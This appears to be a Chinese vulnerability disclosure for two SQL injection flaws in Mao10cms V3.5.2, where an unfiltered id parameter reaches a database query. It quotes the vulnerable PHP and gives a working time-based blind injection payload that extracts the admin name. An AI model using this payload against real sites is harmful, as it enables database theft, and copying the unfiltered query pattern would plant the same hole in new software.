### 简要描述: Mao10cms最新版前台注入2枚打包,可出任意数据 ### 详细说明: Mao10cms用户量不小,2015-06-25更新的V3.5.2,今天来学习一下吧 两个注入点,分别存在在于application/common/common/function.php/mc_title()方法和application/common/common/function.php/mc_seo()中。注入产生的原因都是id没有过滤,这两个注入点前台可直接注入出数据。这里以application/common/common/function.php/mc_title()为例进行说明。 存在注入的文件在application/common/common/function.php中 我们来看看代码 ``` //全站标题 function mc_title() { 无关代码 elseif(MODULE_NAME=='User') { if(CONTROLLER_NAME=='Register') { $title = '注册 - '.mc_option('site_name'); } elseif(CONTROLLER_NAME=='Login') { $title = '登陆 - '.mc_option('site_name'); } elseif(CONTROLLER_NAME=='Lostpass') { $title = '找回密码 - '.mc_option('site_name'); } elseif(CONTROLLER_NAME=='Index') { $display_name = mc_user_display_name($_GET['id']); if(ACTION_NAME=='index') { $title = $display_name.'的首页 - '.mc_option('site_name'); } elseif(ACTION_NAME=='pages') { $title = $display_name.'的主题 - '.mc_option('site_name'); } elseif(ACTION_NAME=='edit') { $title = $display_name.'的资料 -...
### 简要描述: Mao10cms最新版前台注入2枚打包,可出任意数据 ### 详细说明: Mao10cms用户量不小,2015-06-25更新的V3.5.2,今天来学习一下吧 两个注入点,分别存在在于application/common/common/function.php/mc_title()方法和application/common/common/function.php/mc_seo()中。注入产生的原因都是id没有过滤,这两个注入点前台可直接注入出数据。这里以application/common/common/function.php/mc_title()为例进行说明。 存在注入的文件在application/common/common/function.php中 我们来看看代码 ``` //全站标题 function mc_title() { 无关代码 elseif(MODULE_NAME=='User') { if(CONTROLLER_NAME=='Register') { $title = '注册 - '.mc_option('site_name'); } elseif(CONTROLLER_NAME=='Login') { $title = '登陆 - '.mc_option('site_name'); } elseif(CONTROLLER_NAME=='Lostpass') { $title = '找回密码 - '.mc_option('site_name'); } elseif(CONTROLLER_NAME=='Index') { $display_name = mc_user_display_name($_GET['id']); if(ACTION_NAME=='index') { $title = $display_name.'的首页 - '.mc_option('site_name'); } elseif(ACTION_NAME=='pages') { $title = $display_name.'的主题 - '.mc_option('site_name'); } elseif(ACTION_NAME=='edit') { $title = $display_name.'的资料 - '.mc_option('site_name'); } elseif(ACTION_NAME=='shoucang') { $title = $display_name.'的收藏 - '.mc_option('site_name'); } elseif(ACTION_NAME=='guanzhu') { $title = $display_name.'的关注 - '.mc_option('site_name'); } elseif(ACTION_NAME=='comments') { $title = $display_name.'的评论 - '.mc_option('site_name'); } elseif(ACTION_NAME=='fans') { $title = $display_name.'的粉丝 - '.mc_option('site_name'); } elseif(ACTION_NAME=='pro') { $title = $display_name.'的订单 - '.mc_option('site_name'); } elseif(ACTION_NAME=='coins') { $title = '积分记录 - '.mc_option('site_name'); } else { $title = '未知页面 - '.mc_option('site_name'); } } else { $title = '未知页面 - '.mc_option('site_name'); } ``` 看上面代码中看到$display_name = mc_user_display_name($_GET['id']);去看看mc_user_display_name() ``` //用户昵称 function mc_user_display_name($page_id) { $user_display_name = mc_get_page_field($page_id,'title'); if($user_display_name) { return $user_display_name; } else { return mc_get_meta($page_id,'user_name',true,'user'); } }; ``` 从上面的代码中可以看到,如果由$page_id查不到用户名,如果$page_id提交有’,肯定查不到,就执行mc_get_meta(),再去看看吧 ``` function mc_get_meta($page_id,$meta_key,$array=true,$type='basic') { $meta = M('meta')->where("page_id='$page_id' AND meta_key='$meta_key' AND type ='$type'")->order('id desc'); if($array) { return $meta->getField('meta_value'); } else { return $meta->getField('meta_value',true); }; } ``` 到这里可以看到了,从$_GET[‘id’]一直到$page_id,再带入sql语句执行,没有过滤,因此,这里存在注入。 下面以time-based blind注入进行证明 Payload(get提交): ``` id=2')union/**/select/**/if(mid((select/**/admin_name/**/from/**/pe_admin/**/limit/**/0,1),1,1)='z',sleep(1),0)%23 ``` 当猜测错误时,如下图 [<img src="https://images.seebug.org/upload/201507/042346041dda61f7a96337e2784b2951ba97915e.jpg" alt="错误副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/042346041dda61f7a96337e2784b2951ba97915e.jpg) 当猜测正确时,如下图 [<img src="https://images.seebug.org/upload/201507/042346183787bbf40d100ec13816eb4941f32223.jpg" alt="正确副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/042346183787bbf40d100ec13816eb4941f32223.jpg) 整个注入过程可以使用burpsuite 或者sqlmap 再或者自己写个脚本来跑,在本地进行测试,用户名为admin,密码为f6fdffe48c908deb0f4c3bd36c032e72 ### 漏洞证明: 见 详细说明